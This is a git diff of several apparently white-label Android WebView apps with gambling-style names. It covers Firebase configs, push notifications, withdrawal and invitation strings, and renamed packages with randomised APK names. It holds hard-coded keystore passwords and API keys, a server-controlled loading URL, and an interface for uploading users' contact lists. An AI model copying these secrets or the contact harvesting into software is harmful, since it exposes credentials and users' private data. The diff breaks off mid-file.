+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/711bet/build.gradle b/711bet/build.gradle
index 1ad1ab0..c177c5c 100644
--- a/711bet/build.gradle
+++ b/711bet/build.gradle
@@ -7,7 +7,7 @@ android {
compileSdkVersion 31
buildToolsVersion "30.0.3"
defaultConfig {
- applicationId "com.web.bet711"
+ applicationId "com.web.betseven"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
@@ -44,7 +44,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "711bet"
+ def appName = "uerurtuirururrrrrgf"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/711bet/google-services.json b/711bet/google-services.json
index 89482bd..9098e4f 100644
--- a/711bet/google-services.json
+++ b/711bet/google-services.json
@@ -1,21 +1,21 @@
{
"project_info": {
- "project_number": "959352011569",
- "project_id": "bet-e209b",
- "storage_bucket": "bet-e209b.firebasestorage.app"
+ "project_number": "619716311866",
+ "project_id": "bet711-d3563",
+ "storage_bucket": "bet711-d3563.firebasestorage.app"
},
"client": [
{
"client_info": {
- "mobilesdk_app_id": "1:959352011569:android:74c25e3bc6156e772dce10",
+ "mobilesdk_app_id": "1:619716311866:android:5c5b1f7ef8b4ff89932e03",
"android_client_info": {
- "package_name": "com.web.bet711"
+ "package_name": "com.web.betseven"
}
},
"oauth_client": [],
"api_key": [
{
- "current_key": "AIzaSyCqGrtP29OJHiNyhgp1BiUjLvjU_UzjYS4"
+ "current_key": "AIzaSyABionzgyy73RHtOhL70Hv4FgcTlxc505Y"
}
],
"services": {
diff --git a/711bet/src/main/AndroidManifest.xml b/711bet/src/main/AndroidManifest.xml
index 3fda1d2..6a476b7 100644
--- a/711bet/src/main/AndroidManifest.xml
+++ b/711bet/src/main/AndroidManifest.xml
@@ -1,6 +1,6 @@
+ package="com.web.betseven">
serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/711bet/src/main/java/com/web/betseven/WebApplication.java b/711bet/src/main/java/com/web/betseven/WebApplication.java
new file mode 100644
index 0000000..120e021
--- /dev/null
+++ b/711bet/src/main/java/com/web/betseven/WebApplication.java
@@ -0,0 +1,35 @@
+package com.web.betseven;
+
+import android.app.Application;
+import android.content.Context;
+import com.tencent.smtt.export.external.TbsCoreSettings;
+import com.tencent.smtt.sdk.QbSdk;
+import java.util.HashMap;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ HashMap map = new HashMap();
+ map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true);
+ map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true);
+ QbSdk.initTbsSettings(map);
+ QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() {
+ @Override
+ public void onCoreInitFinished() {
+
+ }
+
+ @Override
+ public void onViewInitFinished(boolean b) {
+
+ }
+ });
+ QbSdk.setDownloadWithoutWifi(true);
+ }
+}
diff --git a/99kopitiam/.gitignore b/99kopitiam/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/99kopitiam/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/99kopitiam/build.gradle b/99kopitiam/build.gradle
new file mode 100644
index 0000000..dbd70a7
--- /dev/null
+++ b/99kopitiam/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.kopitiam99"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "kopitiamgjdklgdfklghdkdfkf"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/99kopitiam/google-services.json b/99kopitiam/google-services.json
new file mode 100644
index 0000000..2eddb6a
--- /dev/null
+++ b/99kopitiam/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "17523216985",
+ "project_id": "kopitiam9-56752",
+ "storage_bucket": "kopitiam9-56752.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:17523216985:android:076f140915868353265748",
+ "android_client_info": {
+ "package_name": "com.xyz.kopitiam99"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyAGIAINt3t_5U-2pqYlEkQ5zEb9Hqe1bxY"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/99kopitiam/justlet.jks b/99kopitiam/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/99kopitiam/justlet.jks differ
diff --git a/99kopitiam/proguard-rules.pro b/99kopitiam/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/99kopitiam/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/99kopitiam/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/99kopitiam/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/99kopitiam/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/99kopitiam/src/main/AndroidManifest.xml b/99kopitiam/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..f13d4c8
--- /dev/null
+++ b/99kopitiam/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/java/com/xyz/kopitiam99/MainActivity.java b/99kopitiam/src/main/java/com/xyz/kopitiam99/MainActivity.java
new file mode 100644
index 0000000..cfe21f4
--- /dev/null
+++ b/99kopitiam/src/main/java/com/xyz/kopitiam99/MainActivity.java
@@ -0,0 +1,80 @@
+package com.xyz.kopitiam99;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/jayakaya99/src/main/java/com/web/jayakaya99/MyFirebaseMessageingService.java b/99kopitiam/src/main/java/com/xyz/kopitiam99/MyFirebaseMessageingService.java
similarity index 99%
rename from jayakaya99/src/main/java/com/web/jayakaya99/MyFirebaseMessageingService.java
rename to 99kopitiam/src/main/java/com/xyz/kopitiam99/MyFirebaseMessageingService.java
index 4e722bc..cfb6e60 100644
--- a/jayakaya99/src/main/java/com/web/jayakaya99/MyFirebaseMessageingService.java
+++ b/99kopitiam/src/main/java/com/xyz/kopitiam99/MyFirebaseMessageingService.java
@@ -1,4 +1,4 @@
-package com.web.jayakaya99;
+package com.xyz.kopitiam99;
import android.app.NotificationChannel;
import android.app.NotificationManager;
diff --git a/99kopitiam/src/main/java/com/xyz/kopitiam99/WebApplication.java b/99kopitiam/src/main/java/com/xyz/kopitiam99/WebApplication.java
new file mode 100644
index 0000000..c11d364
--- /dev/null
+++ b/99kopitiam/src/main/java/com/xyz/kopitiam99/WebApplication.java
@@ -0,0 +1,16 @@
+package com.xyz.kopitiam99;
+
+import android.app.Application;
+import android.content.Context;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/99kopitiam/src/main/res/drawable/big_bg.xml b/99kopitiam/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/99kopitiam/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/mipmap-xxhdpi/app_logo.jpg b/99kopitiam/src/main/res/mipmap-xxhdpi/app_logo.jpg
new file mode 100644
index 0000000..c269701
Binary files /dev/null and b/99kopitiam/src/main/res/mipmap-xxhdpi/app_logo.jpg differ
diff --git a/99kopitiam/src/main/res/values-en/strings.xml b/99kopitiam/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/99kopitiam/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/values-night/themes.xml b/99kopitiam/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/99kopitiam/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/values/app_config.xml b/99kopitiam/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..b6a5d5a
--- /dev/null
+++ b/99kopitiam/src/main/res/values/app_config.xml
@@ -0,0 +1,18 @@
+
+
+
+
+ 99Kopitiam
+
+ 237
+
+ https://99kopitiam.online/
+
+ 0
+
+ 1
+
+ #69452d
+
+ #FFFFFF
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/values/colors.xml b/99kopitiam/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/99kopitiam/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/values/strings.xml b/99kopitiam/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/99kopitiam/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/values/themes.xml b/99kopitiam/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/99kopitiam/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/xml/app_updater_paths.xml b/99kopitiam/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/99kopitiam/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/xml/network_security_config.xml b/99kopitiam/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/99kopitiam/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/99kopitiam/src/main/res/xml/provider_paths.xml b/99kopitiam/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/99kopitiam/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/99kopitiam/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/99kopitiam/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/99kopitiam/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/Mahkota8/build.gradle b/Mahkota8/build.gradle
index 3c8c5f4..922cdf4 100644
--- a/Mahkota8/build.gradle
+++ b/Mahkota8/build.gradle
@@ -42,7 +42,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "Mahkota8"
+ def appName = "uytrutbngdfhjghgffdgfd"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/Mahkota8/src/main/AndroidManifest.xml b/Mahkota8/src/main/AndroidManifest.xml
index f9ff485..03286b1 100644
--- a/Mahkota8/src/main/AndroidManifest.xml
+++ b/Mahkota8/src/main/AndroidManifest.xml
@@ -9,16 +9,16 @@
android:name="android.hardware.camera2"
android:required="false" />
-
+
-
-
-
+
+
+
-
+
-
+
@@ -41,11 +41,11 @@
-
-
-
-
-
+
+
+
+
+
初始域名
任务栏的文字颜色 0 黑 1白 默认黑
启动页logo 0 原图显示 1 强制修改为原型图片logo 给过来的logo不圆润就用1
+ 0 是否需要通讯录权限 1 要 0 不要
底部操作栏色调
整体大背景色调
diff --git a/afb88/src/main/AndroidManifest.xml b/afb88/src/main/AndroidManifest.xml
index 9e0742a..d9e81af 100644
--- a/afb88/src/main/AndroidManifest.xml
+++ b/afb88/src/main/AndroidManifest.xml
@@ -9,7 +9,7 @@
android:name="android.hardware.camera2"
android:required="false" />
-
+
diff --git a/babelive/src/main/java/com/xyz/babelive/MainActivity.java b/babelive/src/main/java/com/xyz/babelive/MainActivity.java
index 44c05af..f5c1fa5 100644
--- a/babelive/src/main/java/com/xyz/babelive/MainActivity.java
+++ b/babelive/src/main/java/com/xyz/babelive/MainActivity.java
@@ -26,7 +26,7 @@ public class MainActivity extends MainActivity2 {
super.onCreate(savedInstanceState);
//用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色
setBackDrawables(R.drawable.big_bg);
- setImageView(false);
+ setImageView(true);
//订阅主题
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
diff --git a/bantuan88/build.gradle b/bantuan88/build.gradle
index 6acfb0b..fa20932 100644
--- a/bantuan88/build.gradle
+++ b/bantuan88/build.gradle
@@ -7,7 +7,7 @@ android {
compileSdkVersion 31
buildToolsVersion "30.0.3"
defaultConfig {
- applicationId "com.web.bant"
+ applicationId "com.xyz.bantu"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
diff --git a/bantuan88/google-services.json b/bantuan88/google-services.json
index 511d031..4b86cba 100644
--- a/bantuan88/google-services.json
+++ b/bantuan88/google-services.json
@@ -1,21 +1,21 @@
{
"project_info": {
- "project_number": "1063752706590",
- "project_id": "bantuans",
- "storage_bucket": "bantuans.firebasestorage.app"
+ "project_number": "855080274946",
+ "project_id": "ba4nt1uan88",
+ "storage_bucket": "ba4nt1uan88.firebasestorage.app"
},
"client": [
{
"client_info": {
- "mobilesdk_app_id": "1:1063752706590:android:4668da55f3627294a75c0f",
+ "mobilesdk_app_id": "1:855080274946:android:ddda2b3a70427e1e9a6b1b",
"android_client_info": {
- "package_name": "com.web.bant"
+ "package_name": "com.xyz.bantu"
}
},
"oauth_client": [],
"api_key": [
{
- "current_key": "AIzaSyBrn0noxuiNF56OR3UXdTkk5pAaXXUnugk"
+ "current_key": "AIzaSyDll-tndxLqFb-e4yujeYNRP01iglD8tlI"
}
],
"services": {
diff --git a/bantuan88/src/main/AndroidManifest.xml b/bantuan88/src/main/AndroidManifest.xml
index a1f42bf..5a06792 100644
--- a/bantuan88/src/main/AndroidManifest.xml
+++ b/bantuan88/src/main/AndroidManifest.xml
@@ -1,6 +1,6 @@
+ package="com.xyz.bantu">
> geUrlNew(@Query("userId") int userId);
+
+
/**
* 上传通讯录
*/
diff --git a/base/src/main/java/com/web/base/MainActivity2.java b/base/src/main/java/com/web/base/MainActivity2.java
index 7cf4ff3..381475b 100644
--- a/base/src/main/java/com/web/base/MainActivity2.java
+++ b/base/src/main/java/com/web/base/MainActivity2.java
@@ -58,7 +58,10 @@ import java.util.List;
import java.util.Random;
import java.util.Timer;
import java.util.TimerTask;
+
+import io.reactivex.Observer;
import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.disposables.Disposable;
import io.reactivex.schedulers.Schedulers;
import okhttp3.MediaType;
import okhttp3.RequestBody;
@@ -638,8 +641,10 @@ public class MainActivity2 extends AppCompatActivity {
return;
}
if (!TextUtils.isEmpty(dataInfo.getUrl())) {
+
MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl());
webView.loadUrl(dataInfo.getUrl());
+
}
shareUrl = dataInfo.getDownloadUrl();
String link = dataInfo.getLinkConfig();
@@ -718,6 +723,7 @@ public class MainActivity2 extends AppCompatActivity {
}
+
private void checkUpdate(String url) {
new AppUpdater(this, url).start();
}
diff --git a/base/src/main/java/com/web/base/NotifyListActivity.java b/base/src/main/java/com/web/base/NotifyListActivity.java
index 7b58c8d..a4dc366 100644
--- a/base/src/main/java/com/web/base/NotifyListActivity.java
+++ b/base/src/main/java/com/web/base/NotifyListActivity.java
@@ -5,6 +5,7 @@ import android.net.Uri;
import android.os.Bundle;
import android.view.View;
import android.view.WindowManager;
+import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
@@ -50,6 +51,11 @@ public class NotifyListActivity extends AppCompatActivity {
setContentView(R.layout.activity_notifylist);
messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message");
findViewById(R.id.back_iv).setOnClickListener(view -> finish());
+
+ findViewById(R.id.title_tvs).setOnClickListener(view -> {
